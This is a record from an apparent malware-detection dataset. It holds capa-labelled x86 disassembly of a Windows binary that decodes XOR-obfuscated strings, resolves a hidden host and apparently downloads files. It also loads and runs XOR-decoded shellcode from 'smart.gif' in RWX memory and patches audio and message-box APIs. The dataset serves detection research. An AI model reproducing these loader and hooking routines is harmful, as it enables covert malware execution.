joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414960
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1c8
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x1c0], eax
push edi
lea eax, [esp + 0x20]
push eax
push 0x101
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov cl, 0x4c
mov dl, 0x40
mov byte [esp + 0x1b0], 0x48
mov byte [esp + 0x1b1], 0x4a
mov byte [esp + 0x1b2], 0x4d
mov byte [esp + 0x1b3], 0x44
mov byte [esp + 0x1b4], 0xd
mov byte [esp + 0x1b5], dl
mov byte [esp + 0x1b6], cl
mov byte [esp + 0x1b7], 0x4d
mov byte [esp + 0x1b8], 0x57
mov byte [esp + 0x1b9], 0x47
mov byte [esp + 0x1ba], cl
mov byte [esp + 0x1bb], cl
mov byte [esp + 0x1bc], 0x51
mov byte [esp + 0x1bd], 0xd
mov byte [esp + 0x1be], dl
mov byte [esp + 0x1bf], cl
mov byte [esp + 0x1c0], 0x4e
mov byte [esp + 0x1c1], 0x23
cmp eax, edi
jne 0x414a9f
lea eax, [esp + 0x1b0]
mov byte [esp + 0x1b0], 0x6b
lea esp, [esp]
inc eax
xor byte [eax], 0x23
jne 0x414a30
lea eax, [esp + 0x1b0]
mov dword [esp + 0x1c], 0xf
mov dword [esp + 0x18], edi
mov byte [esp + 8], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414a51
sub eax, edx
push eax
lea ecx, [esp + 0x1b4]
push ecx
lea ecx, [esp + 0xc]
call fcn.00401bf0
cmp dword [esp + 0x1c], 0x10
mov eax, dword [esp + 8]
jae 0x414a7b
lea eax, [esp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x414a8b
mov edi, 1
cmp dword [esp + 0x1c], 0x10
jb 0x414a9f
mov edx, dword [esp + 8]
push edx
call fcn.004396bc
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1c4]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0045e1a6
add esp, 0x1c8
ret
Function at 0x414ac0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor
Initialize winsock library
Resolve dns

Disassembly:
sub esp, 0x1c8
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x1c0], eax
push edi
lea eax, [esp + 0x20]
push eax
push 0x101
xor edi, edi
call dword [sym.imp.WS2_32.dll_WSAStartup]
mov cl, 0x44
mov byte [esp + 0x1b0], cl
mov byte [esp + 0x1b3], cl
mov cl, 0x4c
mov dl, 0x40
mov byte [esp + 0x1b1], 0x4a
mov byte [esp + 0x1b2], 0x4d
mov byte [esp + 0x1b4], 0xd
mov byte [esp + 0x1b5], dl
mov byte [esp + 0x1b6], cl
mov byte [esp + 0x1b7], 0x4d
mov byte [esp + 0x1b8], 0x57
mov byte [esp + 0x1b9], 0x47
mov byte [esp + 0x1ba], cl
mov byte [esp + 0x1bb], cl
mov byte [esp + 0x1bc], 0x51
mov byte [esp + 0x1bd], 0xd
mov byte [esp + 0x1be], dl
mov byte [esp + 0x1bf], cl
mov byte [esp + 0x1c0], 0x4e
mov byte [esp + 0x1c1], 0x23
cmp eax, edi
jne 0x414bff
lea eax, [esp + 0x1b0]
mov byte [esp + 0x1b0], 0x67
lea esp, [esp]
inc eax
xor byte [eax], 0x23
jne 0x414b90
lea eax, [esp + 0x1b0]
mov dword [esp + 0x1c], 0xf
mov dword [esp + 0x18], edi
mov byte [esp + 8], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x414bb1
sub eax, edx
push eax
lea ecx, [esp + 0x1b4]
push ecx
lea ecx, [esp + 0xc]
call fcn.00401bf0
cmp dword [esp + 0x1c], 0x10
mov eax, dword [esp + 8]
jae 0x414bdb
lea eax, [esp + 8]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x414beb
mov edi, 1
cmp dword [esp + 0x1c], 0x10
jb 0x414bff
mov edx, dword [esp + 8]
push edx
call fcn.004396bc
add esp, 4
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [esp + 0x1c4]
mov eax, edi
pop edi
xor ecx, esp
call fcn.0045e1a6
add esp, 0x1c8
ret
Function at 0x417780
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ecx
push edi
mov edi, eax
test edi, edi
je 0x417859
cmp dword [esp + 0xc], 0
je 0x417859
cmp dword [esp + 0x10], 0
je 0x417859
push ebx
lea ebx, [esp + 8]
call fcn.00417720
test eax, eax
jne 0x4177b4
pop ebx
pop edi
pop ecx
ret
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push esi
mov esi, dword [esp + 0x10]
push 0x40
push 0x1000
lea eax, [esi + 0xe]
push eax
push 0
call ebp
mov ebx, eax
mov dword [ebx], esi
push esi
add ebx, 4
lea eax, [ebx + 5]
push edi
push eax
mov dword [esp + 0x1c], eax
call fcn.00466190
add esp, 0xc
push 0x40
push 0x1000
push esi
push 0
call ebp
push esi
mov ebp, eax
push 0x90
push ebp
call fcn.0045fbe0
mov eax, dword [esp + 0x24]
sub eax, ebx
mov byte [ebx], 0xe9
mov ecx, edi
sub ecx, ebx
sub eax, 5
mov dword [ebx + 1], eax
mov byte [ebx + esi + 5], 0xe9
sub ecx, 0xa
mov dword [ebx + esi + 6], ecx
sub ebx, edi
sub ebx, 5
push ebp
mov byte [ebp], 0xe9
mov dword [ebp + 1], ebx
call fcn.004176e0
add esp, 0x10
push 0x8000
push 0
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [esp + 0x1c]
mov edx, dword [esp + 0x10]
pop esi
pop ebp
pop ebx
mov dword [eax], edx
mov eax, 1
pop edi
pop ecx
ret
xor eax, eax
pop edi
pop ecx
ret
Function at 0x417cf0
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x28
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x24], eax
mov al, 0x3b
push ebx
mov byte [esp + 0x1e], al
mov byte [esp + 0x24], al
mov byte [esp + 0x25], al
mov al, 0x2c
push ebp
mov ebp, dword [esp + 0x34]
mov cl, 0x2f
mov bl, 0x43
push esi
mov byte [esp + 0x14], al
mov byte [esp + 0x18], al
mov byte [esp + 0x1c], al
xor esi, esi
mov byte [esp + 0x25], 0x25
mov byte [esp + 0x27], 0x3a
mov byte [esp + 0x28], 0x38
mov byte [esp + 0x29], 0x39
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x33
mov byte [esp + 0x2e], 0x57
mov byte [esp + 0x10], 0x16
mov byte [esp + 0x11], 0x11
mov byte [esp + 0x12], 0xf
mov byte [esp + 0x13], 7
mov byte [esp + 0x15], 0x34
mov byte [esp + 0x16], 0x2d
mov byte [esp + 0x17], cl
mov byte [esp + 0x19], 0x22
mov byte [esp + 0x1a], 0x27
mov byte [esp + 0x1b], 0x17
mov byte [esp + 0x1d], 5
mov byte [esp + 0x1e], 0x2a
mov byte [esp + 0x1f], cl
mov byte [esp + 0x20], 0x26
mov byte [esp + 0x21], 2
mov byte [esp + 0x22], bl
lea eax, [esp + 0x24]
mov byte [esp + 0x24], 0x75
inc eax
xor byte [eax], 0x57
jne 0x417da0
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, eax
mov dword [esp + 0xc], ecx
test ecx, ecx
je 0x417dff
xor byte [esp + 0x10], bl
lea eax, [esp + 0x10]
je 0x417dca
inc eax
xor byte [eax], bl
jne 0x417dc5
lea edx, [esp + 0x10]
push edx
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x417df4
push edi
call dword [sym.imp.WININET.dll_DeleteUrlCacheEntry]
push 0
push 0
push ebp
push edi
push 0
call ebx
mov esi, eax
neg esi
sbb esi, esi
inc esi
mov eax, dword [esp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [esp + 0x30]
mov eax, esi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0045e1a6
add esp, 0x28
ret 4
Function at 0x419a70
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
sub esp, 0x528
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x524], eax
mov eax, dword [esp + 0x52c]
cmp byte [eax], 0
mov dword [esp + 0x1c], eax
jne 0x419aad
xor eax, eax
mov ecx, dword [esp + 0x524]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x528
ret 4
push esi
lea eax, [esp + 0xc]
push eax
push 0x20019
xor esi, esi
push esi
push str.SYSTEMCurrentControlSetControlClass4D36E972_E325_11CE_BFC1_08002BE10318
push reloc.OLEAUT32.dll_SysReAllocString
mov dword [esp + 0x20], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x419aed
xor eax, eax
pop esi
mov ecx, dword [esp + 0x524]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x528
ret 4
mov edx, dword [esp + 0xc]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x24]
push ecx
push esi
push esi
push esi
push edx
mov dword [esp + 0x38], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x419b17
mov dword [esp + 8], 0x64
push ebx
xor ebx, ebx
mov dword [esp + 0x20], esi
cmp dword [esp + 0xc], esi
jbe 0x419c2e
push ebp
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push edi
push 0x400
lea eax, [esp + 0x138]
push esi
push eax
call fcn.0045fbe0
push ebx
push str._04u
mov ecx, 0x400
lea edi, [esp + 0x148]
call fcn.00417c40
mov eax, dword [esp + 0x2c]
add esp, 0x14
lea ecx, [esp + 0x10]
push ecx
push 0x20019
push esi
mov edx, edi
push edx
push eax
mov dword [esp + 0x24], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x419c17
lea ecx, [esp + 0x1c]
push ecx
mov ecx, dword [esp + 0x14]
lea edx, [esp + 0x34]
push edx
lea eax, [esp + 0x28]
push eax
push esi
push str.NetCfgInstanceId
push ecx
mov dword [esp + 0x38], esi
mov dword [esp + 0x34], 0x104
call ebp
test eax, eax
je 0x419bbb
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x419c17
mov eax, dword [esp + 0x2c]
push eax
lea ecx, [esp + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x419bdc
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x419c17
lea eax, [esp + 0x1c]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x28]
push edx
push esi
push str.Characteristics
push eax
mov dword [esp + 0x3c], esi
mov dword [esp + 0x34], 4
call ebp
mov ecx, dword [esp + 0x10]
push ecx
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
je 0x419c24
xor esi, esi
inc ebx
cmp ebx, dword [esp + 0x14]
jb 0x419b30
jmp 0x419c2c
mov edx, dword [esp + 0x24]
mov dword [esp + 0x28], edx
pop edi
pop ebp
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x52c]
mov eax, dword [esp + 0x20]
pop ebx
pop esi
xor ecx, esp
call fcn.0045e1a6
add esp, 0x528
ret 4
Function at 0x419c60
Capabilities:
Get mac address on windows

Disassembly:
push ecx
push ebx
push edi
lea eax, [esp + 8]
xor ebx, ebx
push eax
push ebx
mov edi, ecx
mov dword [esp + 0x10], ebx
call sub.IPHLPAPI.DLL_GetAdaptersInfo
cmp eax, 0x6f
je 0x419c9a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetMAC_Failed__ErrorCode:__d
mov ecx, 0x400
call fcn.00417c40
add esp, 8
pop edi
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 8]
push ebp
push ecx
call fcn.0045e255
mov ebp, eax
add esp, 4
cmp ebp, ebx
jne 0x419cc1
push str.GetMAC_Failed__Because_malloc_failed_
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
pop ebp
pop edi
xor eax, eax
pop ebx
pop ecx
ret
push esi
lea edx, [esp + 0x10]
push edx
push ebp
mov esi, ebp
call sub.IPHLPAPI.DLL_GetAdaptersInfo
test eax, eax
je 0x419d00
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.GetMAC_Failed__ErrorCode:__d
mov ecx, 0x400
call fcn.00417c40
push ebp
call fcn.0045e31f
add esp, 0xc
pop esi
pop ebp
pop edi
xor eax, eax
pop ebx
pop ecx
ret
mov eax, dword [esi + 0x190]
cmp eax, 6
jb 0x419d4d
cmp eax, 8
ja 0x419d4d
lea eax, [esi + 8]
test eax, eax
je 0x419d1f
push eax
call fcn.00419a70
jmp 0x419d21
xor eax, eax
test al, 4
je 0x419d4d
cmp ebx, 0x3e8
jge 0x419d4d
mov eax, dword [esi + 0x190]
push eax
lea ecx, [esi + 0x194]
push ecx
lea edx, [edi + ebx]
push edx
call fcn.00466190
add esp, 0xc
add ebx, dword [esi + 0x190]
mov esi, dword [esi]
test esi, esi
jne 0x419d00
push ebp
call fcn.0045e31f
add esp, 4
pop esi
pop ebp
pop edi
mov eax, ebx
pop ebx
pop ecx
ret
Function at 0x41b530
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24c
mov eax, dword [0x4947a0]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x108]
xor ebx, ebx
push eax
push ebx
mov dword [ebp - 0x240], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x108]
push 0x5c
push ecx
call fcn.0045f790
push str.smart.gif
lea edx, [ebp - 0x108]
push edx
mov byte [eax], bl
lea eax, [ebp - 0x23c]
push str._s_s
push eax
call fcn.0045e7aa
push str.SmartMaster
lea ecx, [ebp - 0x138]
push 0x48430c
push ecx
call fcn.0045e7aa
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
add esp, 0x24
push ebx
push 0x80
push 3
push ebx
push 1
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x118], edx
mov edx, dword [sym.imp.KERNEL32.dll_VirtualFree]
push SysReAllocStringLen
lea eax, [ebp - 0x23c]
push eax
mov dword [ebp - 0x110], ecx
mov dword [ebp - 0x10c], edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x41b60e
lea eax, [ebx + 1]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0045e1a6
mov esp, ebp
pop ebp
ret
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
mov dword [ebp - 0x248], edi
call fcn.0045e255
add esp, 4
push 0
lea ecx, [ebp - 0x240]
push ecx
push edi
push eax
push esi
mov dword [ebp - 0x244], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push 0x1000
push 0x480
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
mov edi, 0x4addb0
mov dword [ebp - 0x24c], esi
sub edi, esi
lea esp, [esp]
lea eax, [esi + ebx]
mov dl, byte [edi + eax]
xor dl, bl
inc ebx
mov byte [eax], dl
cmp ebx, 0x480
jb 0x41b670
mov eax, dword [ebp - 0x24c]
add eax, dword [0x4963cc]
push dword [ebp - 0x248]
push dword [ebp - 0x244]
lea ebx, [ebp - 0x23c]
push ebx
call eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, dword [ebp - 0x244]
push eax
call fcn.0045e31f
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
xor eax, eax
pop ebx
call fcn.0045e1a6
mov esp, ebp
pop ebp
ret
Function at 0x41b750
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [sym.imp.WINMM.dll_waveOutWrite]
sub esp, 0xc
cmp dword [0x4b118c], 1
push 0x4b11a0
jne 0x41b76d
push 0x41b710
jmp 0x41b772
push 0x41b6e0
call fcn.00417780
add esp, 8
push ebx
push ebp
push esi
push edi
push str.DSound.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.DirectSoundCreate
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, eax
lea eax, [esp + 0x14]
push eax
push 0x40
push 3
xor ebx, ebx
push edi
mov dword [esp + 0x24], ebx
call esi
mov byte [esp + 0x10], 0xc2
mov byte [esp + 0x11], 0xc
mov bp, word [esp + 0x10]
mov word [edi], bp
lea ecx, [esp + 0x14]
push ecx
mov byte [edi + 2], bl
mov edx, dword [esp + 0x18]
push edx
push 3
push edi
call esi
mov eax, dword [esp + 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.midiStreamOpen
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x14]
push ecx
push 0x40
mov edi, eax
push 3
push edi
call esi
mov word [edi], bp
lea edx, [esp + 0x14]
push edx
mov byte [edi + 2], bl
mov eax, dword [esp + 0x18]
push eax
push 3
push edi
call esi
mov ecx, dword [esp + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push str.winmm.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push str.sndPlaySoundW
push eax
mov dword [esp + 0x20], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 0x14]
push edx
push 0x40
mov edi, eax
push 3
push edi
call esi
mov word [edi], bp
lea eax, [esp + 0x14]
mov byte [edi + 2], bl
mov ecx, dword [esp + 0x14]
push eax
push ecx
push 3
push edi
call esi
mov edi, dword [sym.imp.USER32.dll_MessageBoxIndirectW]
lea edx, [esp + 0x14]
push edx
push 0x40
push 3
push edi
call esi
mov word [edi], bp
lea eax, [esp + 0x14]
push eax
mov byte [edi + 2], bl
mov ecx, dword [esp + 0x18]
push ecx
push 3
push edi
call esi
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4236d0
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x47a3b8
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x30], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4947a0]
xor eax, esp
push eax
lea eax, [esp + 0x48]
mov dword fs:[0], eax
mov eax, dword [esp + 0x58]
xor ebx, ebx
lea edi, [eax + 0x1a0]
mov dword [esp + 0x50], ebx
mov ebp, dword [edi + 0xc]
mov dword [esp + 0x14], edi
cmp ebp, dword [edi + 0x10]
jbe 0x423723
call fcn.0045e79a
mov esi, dword [edi]
jmp 0x423734
mov edi, dword [esp + 0x14]
mov eax, dword [edi + 0x10]
mov dword [esp + 0x18], eax
cmp dword [edi + 0xc], eax
jbe 0x423745
call fcn.0045e79a
mov eax, dword [edi]
cmp esi, ebx
je 0x42374f
cmp esi, eax
je 0x423754
call fcn.0045e79a
cmp ebp, dword [esp + 0x18]
je 0x423856
cmp esi, ebx
jne 0x423812
call fcn.0045e79a
xor eax, eax
cmp ebp, dword [eax + 0x10]
jb 0x423777
call fcn.0045e79a
mov edi, dword [ebp]
push edi
lea ecx, [esp + 0x2c]
call fcn.00404280
sub esp, 0x1c
mov ecx, esp
mov byte [esp + 0x6c], 1
mov dword [esp + 0x34], esp
push 0xffffffffffffffff
push ebx
lea eax, [esp + 0x4c]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push eax
mov byte [ecx + 4], bl
call fcn.00401910
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x54], esp
push 0xffffffffffffffff
mov byte [esp + 0x8c], 2
push ebx
lea edx, [esp + 0x9c]
mov dword [ecx + 0x18], 0xf
mov dword [ecx + 0x14], ebx
push edx
mov byte [ecx + 4], bl
call fcn.00401910
mov byte [esp + 0x88], 1
call fcn.00411f70
add esp, 0x38
cmp eax, ebx
jne 0x423819
cmp edi, ebx
je 0x4237fc
mov eax, dword [edi]
mov edx, dword [eax]
push 1
mov ecx, edi
call edx
push ebp
push esi
mov esi, dword [esp + 0x1c]
lea edi, [esp + 0x28]
call fcn.00436890
mov esi, dword [eax]
mov ebp, dword [eax + 4]
jmp 0x423831
mov eax, dword [esi]
jmp 0x42376d
cmp esi, ebx
jne 0x423852
call fcn.0045e79a
xor eax, eax
cmp ebp, dword [eax + 0x10]
jb 0x42382e
call fcn.0045e79a
add ebp, 4
mov byte [esp + 0x50], bl
cmp dword [esp + 0x40], 0x10
jb 0x423730
mov eax, dword [esp + 0x2c]
push eax
call fcn.004396bc
add esp, 4
jmp 0x423730
mov eax, dword [esi]
jmp 0x423824
mov edi, dword [edi + 0x10]
mov ecx, dword [esp + 0x14]
sub edi, dword [ecx + 0xc]
sar edi, 2
cmp dword [esp + 0x74], 0x10
jb 0x423877
mov edx, dword [esp + 0x60]
push edx
call fcn.004396bc
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x48]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x30]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x40
ret 0x20
Function at 0x431f70
Capabilities:
Create thread

Disassembly:
push 0xffffffffffffffff
push 0x476f89
mov eax, dword fs:[0]
push eax
sub esp, 0x148
mov eax, dword [0x4947a0]
xor eax, esp
mov dword [esp + 0x144], eax
push ebx
push ebp
push esi
push edi
mov eax, dword [0x4947a0]
xor eax, esp
push eax
lea eax, [esp + 0x15c]
mov dword fs:[0], eax
push 0x104
lea eax, [esp + 0x54]
xor ebx, ebx
push eax
push ebx
mov dword [esp + 0x170], ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x50]
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x431fe0
sub eax, edx
push eax
lea ecx, [esp + 0x54]
push ecx
lea ecx, [esp + 0x3c]
call fcn.00401bf0
push 0x483338
mov edi, 1
lea ebx, [esp + 0x38]
mov byte [esp + 0x168], 1
call fcn.00416450
inc eax
push eax
xor ecx, ecx
lea esi, [esp + 0x1c]
mov edx, ebx
call fcn.0040cf20
push 0xffffffffffffffff
push 0
push eax
mov ecx, ebx
mov byte [esp + 0x170], 2
call fcn.00401910
mov bl, 1
mov ebp, 0x10
mov byte [esp + 0x164], bl
cmp dword [esp + 0x30], ebp
jb 0x432057
mov edx, dword [esp + 0x1c]
push edx
call fcn.004396bc
add esp, 4
lea eax, [esp + 0x34]
push eax
mov edi, str.smart.gif
lea esi, [esp + 0x1c]
call fcn.0040da50
add esp, 4
push 0xffffffffffffffff
xor esi, esi
push esi
push eax
lea ecx, [esp + 0x40]
mov byte [esp + 0x170], 3
call fcn.00401910
mov byte [esp + 0x164], bl
cmp dword [esp + 0x30], ebp
jb 0x43209e
mov ecx, dword [esp + 0x1c]
push ecx
call fcn.004396bc
add esp, 4
sub esp, 0x1c
mov ecx, esp
mov dword [esp + 0x30], esp
push 0xffffffffffffffff
push esi
lea edx, [esp + 0x58]
mov edi, 0xf
mov dword [ecx + 0x18], edi
mov dword [ecx + 0x14], esi
push edx
mov byte [ecx + 4], 0
call fcn.00401910
call fcn.00410060
add esp, 0x1c
cmp eax, esi
je 0x4320df
push esi
push esi
push esi
push 0x431f60
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
cmp dword [esp + 0x4c], ebp
jb 0x4320f2
mov eax, dword [esp + 0x38]
push eax
call fcn.004396bc
add esp, 4
mov dword [esp + 0x4c], edi
mov dword [esp + 0x48], esi
mov byte [esp + 0x38], 0
cmp dword [esp + 0x184], ebp
jb 0x432118
mov ecx, dword [esp + 0x170]
push ecx
call fcn.004396bc
add esp, 4
mov ecx, dword [esp + 0x15c]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x144]
xor ecx, esp
call fcn.0045e1a6
add esp, 0x154
ret 0x1c
Function at 0x439310
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x476a98
mov eax, dword fs:[0]
push eax
sub esp, 0x18
push esi
mov eax, dword [0x4947a0]
xor eax, esp
push eax
lea eax, [esp + 0x20]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 8], 0
lea eax, [esp + 0xc]
push eax
mov dword [esp + 0x2c], 0
call dword [sym.imp.OLEAUT32.dll_VariantClear]
mov eax, dword [esp + 0x30]
test eax, eax
je 0x43935d
mov eax, dword [eax]
jmp 0x43935f
xor eax, eax
mov ecx, dword [esi]
lea edx, [esp + 0xc]
push edx
mov edx, dword [esp + 0x38]
push edx
push eax
mov eax, dword [ecx + 0x74]
push esi
call eax
test eax, eax
jge 0x439382
push 0x484bc4
push esi
push eax
call fcn.00474160
push 0x10
lea ecx, [esp + 0x10]
push ecx
push 0x10
push ebx
call fcn.0045e3ad
mov esi, dword [esp + 0x40]
xor edx, edx
add esp, 0x10
mov word [esp + 0xc], dx
test esi, esi
je 0x4393db
lea eax, [esi + 8]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
test eax, eax
jne 0x4393db
test esi, esi
je 0x4393db
mov eax, dword [esi]
test eax, eax
je 0x4393c2
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [esi + 4]
test eax, eax
je 0x4393d2
push eax
call fcn.004396bc
add esp, 4
push esi
call fcn.004396bc
add esp, 4
mov eax, ebx
mov ecx, dword [esp + 0x20]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x24
ret 8

Function at 0x43a776
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x4762ab
call fcn.00460040
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x43a79b
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x43a7e7
call fcn.00442f72
push eax
lea ecx, [ebp - 0x10]
call fcn.004061e0
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0043a0c1
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.004064a0
mov eax, esi
call fcn.00460118
ret 8

Function at 0x441424
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push ebp
push esi
push edi
xor edi, edi
xor ebx, ebx
mov ebp, ecx
cmp dword [esp + 0x14], edi
je 0x441467
call fcn.00446343
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x18]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x441467
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x441482
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
push ebx
mov ecx, ebp
call fcn.00440faa
mov esi, eax
test ebx, ebx
je 0x441480
test edi, edi
je 0x441480
push edi
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
ret 4